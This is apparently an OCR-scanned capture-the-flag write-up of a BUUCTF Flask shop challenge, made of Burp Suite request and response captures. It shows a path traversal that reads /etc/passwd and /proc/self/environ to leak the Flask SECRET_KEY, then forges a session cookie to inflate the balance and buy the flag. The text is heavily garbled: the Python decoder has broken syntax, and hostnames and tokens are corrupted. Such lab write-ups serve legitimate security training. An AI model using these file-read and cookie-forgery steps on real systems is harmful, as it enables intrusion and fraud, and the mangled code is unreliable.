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Most important honey for you today!
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&’ Request to http://84ff9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn:80 [111.73.45.58]

[ Forward J { Drop J [ Intercept is on ) Action |

Raw | Params | Headers | Hex

POST / HTTP/1.1

Host: 84ff9c7c-6679-42a4-b570-7ec8fafcaffd.node3.buuoj.cn

Content-Length: 6

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1 0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://84f£f9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn

Content-Type: application/x-www-form-urlencoded

10 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/avif,image/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3;g=0.9
11 Referer: http://84£ff9c7c-6679-42a4-b570-7ec8fafcaffd.node3.buuoj.cn/

12 Accept-Encoding: gzip, deflate

13 Accept-Language: zh-CN,zh;g=0.9

14 Cookie: session=eyJiYWxhbmN1IjoxMzM2LCJIJwdXJjaGFzZXMiOltdfQ.X-AP4Q.H4cz1lrTUdylFbcil9brUNQuyDFI

15 Connection: close
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from base64 import bé64decode
from flask.sessions import session_json_serializer

from itsdangerous import base64_decode

def decryption(payload):

payload, sig payload.rsplit(b'."', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress False
if payload.startswith(b'."'):
payload payload[1:]

decompress True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '

'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if _ name__ '__main__":

print(decryption(sys.argv[1l].encode()))

- — o ogm = ow wmhk Be wls Flask % python3 flask-session-decode.py eyJiY
WxhbmNL11JoXMzM2LCJwdXJjaGFzZXMi01ltdfQ.X-AP4Q.H4cz1rTUdylFbcil9brUNQuyDFI
{'balance': 1336, 'purchases': []}
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Your cart: $1336

You don't have enough money!
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Request

J RawT Params T Headers T Hex ]

GET /download?image=2.jpg HTTP/1.1 A
Host: 84ff9c7c-6679-42a4-b570-7ec8fafcaff4.nodeld.buuoj.cn r
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 11 1 0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp, image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9

Referer: http://84f£f9¢c7c-6679-42a4-b570-7ecB8fafcaffd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: UM distinctid=176832e9b5b2eb-0469726a24d55e-6d112d7c-13c680-176832e9b5cl4cd
; session=
eyJiYWxhbmN1IjoxMzM2LCJIJwdXJjaGFzZ2XMiOltdfQ.X-Aapw.3VL92WTJFWmhBw_y9AfyzY9xgWk

10 Connection: close
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download?image=../../../../../../../etc/passwd

KB, 133 Jetc/passwd AR

Send Cancel <|r Target: http://84ff9¢7c-6679-42a4-b570-7ec8fafcaft
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

1 GET /download?image=../../../../../../../etc/passwd HTTP/1.1 A 1 HTTP/1.1 200 OK

2 Host: 84ff9c7c-6679-42a4-b570-7ec8fafcaffd.node3.buuoj.cn r 2 Server: openresty

3 Upgrade-Insecure-Requests: 1 3 Date: Mon, 21 Dec 2020 03:49:20 GMT

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 4 Content-Type: text/html; charset=utf-8
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 5 Content-Length: 1230

5 Accept: 6 Connection: close
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/a 7 Content-Disposition: attachment; filename="passwd"
png,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9 8

6 Referer: http://84ff9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn/ 9 root:x:0:0:root:/root:/bin/ash

7 Accept-Encoding: gzip, deflate 10 bin:x:1l:1:bin:/bin:/sbin/nologin

8 Accept-Language: zh-CN,zh;g=0.9 11 daemon:x:2:2:daemon:/sbin:/sbin/nologin

9 Cookie: UM_distinctid=176832e9b5b2eb-0469726a24d55e-6d112d7c-13c680-176832e9b5cl4dcd 12 adm:x:3:4:adm:/var/adm:/sbin/nologin
; session= 13 1lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
eyJiYWxhbmN1IjoxMzM2LCIJwdXJjaGFzZXMiOltdfQ.X-Aapw.3VLI2WT jFWmhBw_y9AfyzY9IxgWk 14 sync:x:5:0:sync:/sbin:/bin/sync

10 Connection: close 15 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

11 16 halt:x:7:0:halt:/sbin:/sbin/halt

12 17 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

18 news:x:9:13:news:/usr/lib/news:/sbin/nologin

19 uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
20 operator:x:11:0:operator:/root:/sbin/nologin

21 man:x:13:15:man:/usr/man:/sbin/nologin

22 postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
23 cron:x:16:16:cron:/var/spool/cron:/sbin/nologin

24 ftp:x:21:21::/var/lib/ftp:/sbin/nologin

25 sshd:x:22:22:sshd:/dev/null:/sbin/nologin

26 at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin

27 squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin

28 xfs:x:33:33:X Font Server:/etc/X11l/fs:/sbin/nologin
29 games:x:35:35:games:/usr/games:/sbin/nologin

30 postgres:x:70:70::/var/lib/postgresql:/bin/sh

31 cyrus:x:85:12::/usr/cyrus:/sbin/nologin

32 vpopmail:x:89:89::/var/vpopmail:/sbin/nologin

33 ntp:x:123:123:NTP:/var/empty:/sbin/nologin
:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
35 guest:x:405:100:guest:/dev/null:/sbin/nologin

36 nobody:x:65534:65534:nobody:/:/sbin/nologin
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LPRIEN .. /.. /proc/self/environ I, 1530 .

{ Send J Cancel
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Request

Raw | Params | Headers | Hex

Target: http://84ff9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn f @

Response

Raw | Headers | Hex

GET /download?image=../
Host: 84ff9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn r
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp, image/a
png, */*;q=0.8,application/signed-exchange;v=b3;g=0.9
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6 Referer: http://84£f£f9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn/

7 Accept-Encoding: gzip, deflate

8 Accept-Language: zh-CN,zh;g=0.9

9 Cookie: UM_distinctid=176832e9b5b2eb-0469726a24d55e-6d112d7c-13c680-176832e9b5cldcd
; session=
eyJiYWxhbmN1IjoxMzM2LCIJwdXJjaGFzZXMiOltdfQ.X-Aapw.3VLI2WTjFWnhBw_y9AfyzY9Ixgwk

10 Connection: close

11

12

33| Y SECRET_KEYH{E Jy:

{#i i flask-session-cookie il 2 il A< Github i 1

../proc/self/environ HTTP/1.1 A

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 21 Dec 2020 03:56:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 515
Connection: close
Content-Disposition:

T

attachment; filename="environ"

CENOURWN

HOSTNAME=056e5696ea06SECRET_KEY=paZgTFQpDx10dFWGD8plBlHMIfusFaelmpM3BG4m
PYTHON_PIP_VERSION=19.3.1SHLVL=1HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/££e826207a010164265d9cc807
978e3604d18ca0/get-pip.pyWEB_CONCURRENCY=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8PYTHON_VERSION=3.8.0PWD=/
PYTHON_GET_PIP_SHA256=b86f36cc4345ae87bfd4fl0ef6b2dbfa7a872fbff70608ale43944d283f
d0eeeFLAG=not_flag

paZgTFQpDx10dFWGD8p1B1HMIfusFaelmpM3BG4m

python3 flask_session_cookie_manager3.py encode -s "paZgTFQpDx10dFWGD8plBlHMIfusFaelmpM3BG4m" -t "{'balance’': 13

38, 'purchases':

(13"

ST WS UHL BT PN i ™™ flask-session-cookie-manager % python3 flask_
session_cookie_manager3.py encode -s "paZgTFQpDx10dFWGD8plBl1HMIfusFaelmpM3BG4m"

-t "{'balance': 1338, [ 1"

'purchases’':

eyJiYthmeleoxMzMALCdeXJjaGFzZXMiOltde.X—Adug.rsRZEPrZsluEngOEDXsGSkiZ79
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Send Cancel <|v > | Target: http://84ff9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn /
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Renderl
1 POST / HTTP/1.1 A 641 <div class="row">
2 Host: 84ff9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn r 65
3 Content-Length: 6 66E <div class="col-1g-3">
4 Pragma: no-cache 67
5 Cache-Control: no-cache 68 <h3 class="my-4">Your cart: $1</h3>
6 Upgrade-Insecure-Requests: 1 69 <h4>Successful!</h4>
7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 11_1 0) AppleWebKit/537.36 70
(KHTML, like Gecko) Chrome/87.0.4280.88 safari/537.36 71 <h4>You recently bought:</hé4>
8 Origin: http://84£f£f9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn 72
9 Content-Type: application/x-www-form-urlencoded 73
10 Accept: 74
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp, image/a 7508 <div class="list-group">
png,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9 76 <p style="font-size: 0.8rem" id='lg' class="list-group-item’
11 Referer: http://84££f9c7c-6679-42a4-b570-7ec8fafcaff4.node3.buuoj.cn/ >Flag honey: flag{c27434c4-1f2e-4912-a3cf-8a7384dd5c2f}
12 Accept-Encoding: gzip, deflate 77 </p>
13 Accept-Language: zh-CN,zh;g=0.9 78 </div>
14 Cookie: session= 79
eyJiYWxhbmN1IjoxMzM4LCIJwdXJjaGFzZzXMi0ltdfQ.X-Adug.rsRZEPr2s 1luEmRgOPDXsG8kiz70 80 </div>
15 Connection: close 81 <l-- /.col-1g-3 -->
16 82
17 item=5| 83 <div class="col-1g-9">
R4

#3%flag



https://github.com/noraj/flask-session-cookie-manager
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